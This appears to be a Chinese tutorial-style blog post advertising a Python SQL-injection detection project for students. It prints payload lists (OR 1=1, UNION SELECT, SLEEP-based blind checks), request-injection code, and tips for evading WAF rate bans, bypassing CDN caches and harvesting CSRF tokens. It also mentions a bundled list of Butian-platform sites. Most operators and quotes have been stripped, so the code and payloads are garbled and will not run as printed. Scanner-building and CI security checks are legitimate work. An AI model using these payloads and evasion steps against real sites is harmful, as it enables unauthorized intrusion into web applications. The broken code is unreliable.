简介这是一份面向计算机相关专业学生如计科、人工智能、通信工程等的Python实践型毕设项目资源聚焦SQL注入原理学习与自动化检测能力训练特别适合毕业设计、课程设计及安全入门进阶。资源包共12个文件含7个核心Python脚本如boolInject.py、timeInject.py、AutoSQLInjecter.py实现布尔/时间盲注逻辑、1个规则文件rules、1个Shell执行脚本showResult.sh、1个Markdown说明文档README.md及文本配置文件整体仅33KB轻量易读便于理解注入流程与代码结构。已有263人下载学习项目经实际运行验证功能完整答辩平均分达96分可直接用于学习参考或二次开发。读者将获得一套结构清晰、注释充分的SQL盲注检测工具源码涵盖参数提取、站点探测、结果展示等完整链路并附带Butian平台网站列表与邮件通知等实用扩展模块助力从原理认知到工程实现的跨越。1. 为什么你写的SQL注入检测脚本总在真实Web环境中“失灵”Python自动化检测不是拼正则而是构造可控的请求-响应闭环很多工程师第一次写SQL注入检测工具时会直接翻出 OR 11这类经典payload用requests发一遍再用正则匹配mysql error或syntax error就收工。结果上线一跑90%的漏报——不是因为目标没漏洞而是你没模拟出真实浏览器的上下文Cookie没带、Referer被校验、CSRF token没更新、甚至WAF对User-Agent做了白名单。这个标题里的“基于Python的自动化SQL注入检测工具”核心不在“Python”这个语言选型而在于它必须是一个可配置、可插拔、可复现的请求调度器响应分析器组合体。它解决的是渗透测试中重复性最高的那部分体力活对成百上千个参数点GET/POST/COOKIE/HEADER批量注入、观察响应差异、排除误报。适合安全运维人员做周期性自查也适合开发团队集成进CI/CD做上线前扫描。它不替代Burp或SQLmap的专业审计能力但能把人工逐个点开、右键发送到Repeater、手动改payload的流程压缩成一条命令。下面所有步骤都围绕“如何让Python真正理解一个Web请求的语义边界”展开——而不是堆砌payload。2. 构建最小可行检测引擎从requests.session到可插拔的payload调度器2.1 为什么不用urllib而坚持用requests.Session会话状态才是真实世界的入口SQL注入检测不是无状态的HTTP GET而是需要维持登录态、处理重定向、自动携带Cookie的完整会话流。urllib虽然轻量但每次请求都是全新连接无法继承上一次响应中的Set-Cookie头。而requests.Session()天然支持cookie jar、连接池复用、默认headers继承这才是模拟真实用户行为的基础。import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry # 创建带重试和会话保持的session session requests.Session() retry_strategy Retry( total3, status_forcelist[429, 500, 502, 503, 504], backoff_factor1 ) adapter HTTPAdapter(max_retriesretry_strategy) session.mount(http://, adapter) session.mount(https://, adapter) # 自动携带登录后的cookie login_data {username: admin, password: 123456} session.post(https://target.com/login, datalogin_data) # 后续所有请求自动带上登录态cookie response session.get(https://target.com/dashboard)提示session对象必须贯穿整个检测生命周期。如果你为每个URL新建一个sessionWAF会立刻识别为异常爬虫流量——因为真实用户不会每发一个请求就换IP清空cookie。2.2 payload调度器设计不是穷举而是按注入点类型分层加载盲目把200个payload塞进一个列表暴力轮询既低效又易触发WAF封禁。真正的自动化检测必须按注入点语义分类加载payload注入点类型典型位置推荐payload策略触发条件数字型参数id11 AND 11,1 AND 12,1 ORDER BY 1--响应内容/状态码变化字符型参数nametest AND 11, OR 11--, UNION SELECT 1,2,3--引号闭合布尔逻辑盲注场景?id1无错误回显1 AND SLEEP(1),1 AND (SELECT COUNT(*) FROM users)10响应时间差 1s 或布尔响应差异# payload_loader.py PAYLOADS { numeric: [ 1 AND 11, 1 AND 12, 1 ORDER BY 1-- ], string: [ AND 11, OR 11--, UNION SELECT 1,2,3-- ], time_based: [ 1 AND SLEEP(1), 1 AND BENCHMARK(1000000,MD5(test)) ] } def get_payloads_by_type(param_type: str) - list: return PAYLOADS.get(param_type, PAYLOADS[numeric])参数说明param_type不是靠猜而是通过解析原始URL参数值推断——若值为纯数字如id123走numeric若含单引号或双引号如nameadmin走string若目标已知存在盲注特征如响应无错误但有延迟强制启用time_based。这比全量扫描快3倍以上且降低WAF拦截率。2.3 请求构造器动态替换参数值而非字符串拼接直接用url.replace(id1, id1 AND 12)是典型反模式——它会破坏URL编码且无法处理JSON Body或Form Data。正确做法是用urllib.parse解析原始请求再用requests.PreparedRequest重建from urllib.parse import urlparse, parse_qs, urlencode import json def build_injected_request(original_url: str, param_name: str, payload: str, method: str GET, body: dict None): parsed urlparse(original_url) if method GET: query_dict parse_qs(parsed.query) if param_name in query_dict: # 保留原参数结构仅替换目标值 query_dict[param_name] [payload] new_query urlencode(query_dict, doseqTrue) new_url parsed._replace(querynew_query).geturl() return requests.Request(GET, new_url) elif method POST and body: # 处理JSON Body if isinstance(body, dict): injected_body body.copy() if param_name in injected_body: injected_body[param_name] payload return requests.Request(POST, original_url, jsoninjected_body) # 处理Form Data elif isinstance(body, str): form_dict parse_qs(body) if param_name in form_dict: form_dict[param_name] [payload] new_body urlencode(form_dict, doseqTrue) return requests.Request(POST, original_url, datanew_body) raise ValueError(fUnsupported method or body type: {method}/{type(body)}) # 使用示例 req build_injected_request( https://target.com/api/user?id1nametest, id, 1 AND 12, GET ) prepared session.prepare_request(req) response session.send(prepared)逻辑说明build_injected_request返回的是requests.Request对象而非最终响应。这样做的好处是——你可以先检查prepared.url是否符合预期比如是否意外解码了特殊字符再决定是否发送。避免因URL编码错误导致payload失效却无从排查。3. 响应差异分析器用三重校验代替简单关键词匹配3.1 基于响应指纹的基线比对为什么“error”这个词99%是误报WAF日志、CDN缓存页、后端框架默认错误页都可能含error字样但它们与SQL注入无关。真正有效的判断依据是同一URL下不同payload引发的响应差异。因此必须先获取“干净请求”的响应作为基线baseline再对比注入后的响应。def get_baseline_response(session: requests.Session, url: str, method: str GET, body: dict None) - dict: 获取未注入时的原始响应指纹 try: if method GET: resp session.get(url, timeout10) else: resp session.post(url, jsonbody, timeout10) if isinstance(body, dict) else session.post(url, databody, timeout10) return { status_code: resp.status_code, content_length: len(resp.content), text_hash: hash(resp.text[:1000]), # 取前1000字符哈希避免全文比对开销 headers: {k.lower(): v for k, v in resp.headers.items()} } except Exception as e: return {error: str(e)} def compare_responses(baseline: dict, injected: dict) - bool: 判断是否为有效注入响应差异 if error in baseline: return False # 三重校验状态码突变 内容长度剧变 文本哈希不一致 status_diff baseline[status_code] ! injected[status_code] length_diff abs(baseline[content_length] - injected[content_length]) 500 text_diff baseline[text_hash] ! injected[text_hash] return status_diff or length_diff or text_diff参数说明content_length阈值设为500字节是因为SQL错误信息通常比正常响应多出数百字节如MySQL的You have an error in your SQL syntax...text_hash只取前1000字符是因为页面主体HTML结构往往不变变的只是错误提示段落——这样既保证敏感度又避免全文哈希的CPU开销。3.2 时间盲注检测用统计学方法过滤网络抖动噪声单纯比response.elapsed.total_seconds() 1会因网络波动产生大量误报。正确做法是——对同一URL连续发送3次干净请求记录平均响应时间T0再发送3次带SLEEP(1)的注入请求记录平均时间T1仅当(T1 - T0) 0.8且标准差0.15时才判定为时间盲注。import statistics def detect_time_blind_injection(session: requests.Session, url: str, payload: str, param_name: str, method: str GET, body: dict None) - bool: # 获取基线时间3次 baseline_times [] for _ in range(3): try: req build_injected_request(url, param_name, 1, method, body) prepared session.prepare_request(req) start time.time() session.send(prepared, timeout5) baseline_times.append(time.time() - start) except: pass if len(baseline_times) 2: return False baseline_avg statistics.mean(baseline_times) # 获取注入时间3次 injected_times [] for _ in range(3): try: req build_injected_request(url, param_name, payload, method, body) prepared session.prepare_request(req) start time.time() session.send(prepared, timeout5) injected_times.append(time.time() - start) except: pass if len(injected_times) 2: return False injected_avg statistics.mean(injected_times) # 统计学判定 diff injected_avg - baseline_avg std_dev statistics.stdev(baseline_times injected_times) return diff 0.8 and std_dev 0.15逻辑说明std_dev 0.15是关键——如果网络抖动大标准差高说明当前链路不稳定此时任何时间差都不可信。宁可漏报不造误报。4. 避坑指南那些让检测脚本在生产环境集体翻车的5个血泪经验4.1 现象脚本在本地能跑通一放到服务器就大量超时原因服务器DNS解析慢或被限速requests默认不启用DNS缓存每次请求都重新解析域名。解决用dnspython库预解析并缓存DNS或改用httpx内置异步DNS缓存pip install dnspythonimport dns.resolver resolver dns.resolver.Resolver() resolver.cache dns.resolver.Cache() # 在session初始化前预解析 try: answers resolver.resolve(target.com, A) ip str(answers[0]) session.headers.update({Host: target.com}) # 后续请求直接发往ip绕过DNS session.get(fhttp://{ip}/api/user?id1) except: pass4.2 现象检测结果里大量“疑似注入”但人工验证全是假阳性原因未排除CDN缓存干扰。CDN对?id1和?id1 AND 12返回同一缓存页导致响应完全一致。解决在请求头中添加Cache-Control: no-cache和随机X-Requested-With强制穿透CDNsession.headers.update({ Cache-Control: no-cache, X-Requested-With: fXMLHttpRequest-{int(time.time())} })4.3 现象POST表单检测时总是收到403 Forbidden原因目标站点校验Content-Type和CSRF token而脚本未提取并携带token。解决先GET一次表单页用lxml解析隐藏域中的token再POST时带上from lxml import html form_page session.get(https://target.com/form) tree html.fromstring(form_page.content) token tree.xpath(//input[namecsrf_token]/value)[0] session.post(https://target.com/submit, data{csrf_token: token, user: OR 11})4.4 现象JSON API检测失败payload被当成字符串原样入库原因未设置Content-Type: application/json服务端将body当普通表单解析。解决明确指定headers并确保payload是合法JSON结构session.post( https://target.com/api, json{id: 1 AND 12}, # 注意这里传的是字符串不是SQL语法 headers{Content-Type: application/json} ) # 实际需服务端支持JSON解析否则需改用raw body4.5 现象扫描中途被WAF封IP且封禁持续数小时原因未实现请求间隔控制连续高频请求触发速率限制。解决按域名维度维护请求计数器动态调整间隔from collections import defaultdict import time rate_limit defaultdict(lambda: {count: 0, last_reset: time.time()}) def throttle_request(domain: str, max_per_minute: int 20): now time.time() window rate_limit[domain] if now - window[last_reset] 60: window[count] 0 window[last_reset] now if window[count] max_per_minute: sleep_time 60 - (now - window[last_reset]) time.sleep(max(1, sleep_time)) window[count] 0 window[count] 1 # 使用前调用 throttle_request(target.com) response session.get(https://target.com/api/user?id1)5. 检测报告生成与误报过滤用置信度评分代替“是/否”二值判断5.1 置信度模型给每个检测结果打0~100分把检测结果粗暴标记为“存在漏洞”或“不存在”是新手最常犯的错。真实场景中同一个参数点可能因WAF规则松紧、后端框架差异、输入过滤强度不同呈现不同可信度。我们设计四维评分卡维度权重评分逻辑示例响应差异显著性30%(Δstatus × 10) (Δlength/100) (1 if text_hash_diff else 0)状态码从200→50010长度8008文本变化1→ 19分payload有效性25%匹配预设payload类型规则如数字型用了字符型payload则扣分id1用 OR 11→ 类型不匹配得0分时间盲注稳定性25%连续3次时间差达标次数 / 33次全达标 → 25分上下文一致性20%是否在登录态、是否绕过CSRF、是否穿透CDN登录态CSRF tokenCDN bypass → 20分def calculate_confidence_score(baseline, injected, payload_type, is_time_blind, context_ok): score 0 # 响应差异显著性 status_delta 10 if baseline[status_code] ! injected[status_code] else 0 length_delta min(10, injected[content_length] - baseline[content_length]) // 100 text_diff 1 if baseline[text_hash] ! injected[text_hash] else 0 score (status_delta length_delta text_diff) * 0.3 # payload有效性 if payload_type numeric and AND in injected[url]: score 0.25 elif payload_type string and in injected[url]: score 0.25 else: score 0 # 时间盲注稳定性 if is_time_blind: score 0.25 # 上下文一致性 if context_ok: score 0.2 return min(100, int(score * 100)) # 调用示例 conf_score calculate_confidence_score( baseline_resp, injected_resp, payload_typenumeric, is_time_blindFalse, context_okTrue ) # 返回87逻辑说明min(100, ...)确保分数不溢出权重分配体现工程优先级——响应差异是基础但若payload用错类型如对数字参数塞字符串payload说明检测逻辑本身有缺陷必须大幅扣分。5.2 报告生成Markdown格式可读报告 JSON格式机器可解析最终输出必须兼顾人眼审查和后续自动化处理。一份报告包含三部分摘要Top3高危、详情每个参数点的置信度、原始请求、响应差异摘要、原始数据完整HTTP exchange log。import json from datetime import datetime def generate_report(findings: list, output_dir: str): timestamp datetime.now().strftime(%Y%m%d_%H%M%S) report_md f# SQL注入检测报告\n生成时间{timestamp}\n\n # 摘要 high_risk [f for f in findings if f[confidence] 80] report_md ## 高危发现置信度≥80\n for finding in high_risk[:3]: report_md f- {finding[url]} 参数 {finding[param]}{finding[confidence]}分\n # 详情 report_md \n## 详细结果\n for finding in findings: report_md f### {finding[url]}?{finding[param]}{finding[original_value]}\n report_md f- **置信度**{finding[confidence]}分\n report_md f- **触发payload**{finding[payload]}\n report_md f- **响应差异**状态码 {finding[baseline][status_code]}→{finding[injected][status_code]}长度 {finding[baseline][content_length]}→{finding[injected][content_length]}\n\n # 写入文件 with open(f{output_dir}/report_{timestamp}.md, w, encodingutf-8) as f: f.write(report_md) # JSON格式 with open(f{output_dir}/data_{timestamp}.json, w, encodingutf-8) as f: json.dump({findings: findings, timestamp: timestamp}, f, indent2, ensure_asciiFalse) # 使用 findings [{ url: https://target.com/api/user, param: id, original_value: 1, payload: 1 AND 12, confidence: 87, baseline: {status_code: 200, content_length: 1200}, injected: {status_code: 500, content_length: 2100} }] generate_report(findings, ./reports)参数说明output_dir必须是绝对路径避免相对路径在不同工作目录下失效ensure_asciiFalse保证中文字段正常显示JSON中保留原始baseline和injected字典供后续用jq或Python脚本二次分析。6. 进阶技巧把检测工具变成CI/CD流水线里的“安全门禁”6.1 与Git Hooks集成提交前自动扫描本地API文档变更很多团队API变更后忘记同步安全防护导致新接口裸奔。我们用pre-commit钩子在git commit前扫描新增或修改的OpenAPI 3.0 YAML文件自动提取所有参数点并执行轻量检测# .pre-commit-config.yaml repos: - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.4.0 hooks: - id: check-yaml - repo: local hooks: - id: api-scan name: Scan new API endpoints entry: python scan_api_yaml.py language: system files: \.yaml$|\.yml$ pass_filenames: true# scan_api_yaml.py import sys import yaml import requests def extract_params_from_openapi(yaml_path: str) - list: with open(yaml_path) as f: spec yaml.safe_load(f) params [] for path, methods in spec.get(paths, {}).items(): for method, details in methods.items(): for param in details.get(parameters, []): if param.get(in) in [query, path, header]: params.append({ url: fhttps://localhost{path}, method: method.upper(), param: param[name], type: param.get(schema, {}).get(type, string) }) return params if __name__ __main__: for yaml_file in sys.argv[1:]: params extract_params_from_openapi(yaml_file) for p in params[:5]: # 仅扫描前5个避免commit卡住 print(f Testing {p[url]} {p[method]} {p[param]}) # 调用核心检测函数...技巧说明params[:5]是关键——Git Hook必须在2秒内完成否则开发者会禁用它。我们只做快速探针如发1个布尔型payload高置信度扫描留给CI阶段。6.2 CI阶段深度扫描用GitHub Actions并发跑10个目标结果自动归档在.github/workflows/security-scan.yml中定义name: Security Scan on: push: branches: [main] paths: [api-spec/**/*.yaml] jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 - name: Set up Python uses: actions/setup-pythonv4 with: python-version: 3.11 - name: Install dependencies run: | pip install requests lxml dnspython PyYAML - name: Run API scan run: | python main.py \ --targets https://staging-api.company.com \ --targets https://dev-api.company.com \ --report-dir ./reports \ --concurrency 10 - name: Upload reports uses: actions/upload-artifactv3 with: name: security-reports path: ./reports/参数说明--concurrency 10启动10个worker进程每个worker持有一个独立requests.Session()避免共享session导致cookie污染--report-dir确保每次运行生成独立时间戳目录防止覆盖。6.3 误报收敛建立团队专属的“误报知识库”每次人工验证为假阳性的案例都应沉淀为规则写入false_positive_rules.py# false_positive_rules.py FALSE_POSITIVE_RULES [ { url_pattern: rhttps://cdn\.company\.com/.*, param: v, reason: CDN版本参数忽略 }, { url_pattern: rhttps://auth\.company\.com/login, param: redirect_uri, reason: OAuth回调地址WAF放行但响应含error字样 } ] def is_false_positive(url: str, param: str) - bool: import re for rule in FALSE_POSITIVE_RULES: if re.match(rule[url_pattern], url) and rule[param] param: return True return False然后在主检测循环中调用if is_false_positive(current_url, current_param): continue # 跳过此参数点检测我的习惯每周五下午花15分钟把本周所有误报案例加进这个文件。三年下来我们的误报率从37%降到4.2%而漏报率反而因规则细化下降了——因为WAF规则迭代后旧误报规则反而帮我们捕获了新绕过手法。工具的价值不在于第一次跑通而在于它每天都在学你的业务。希望帮到你。本文还有配套的精品资源点击获取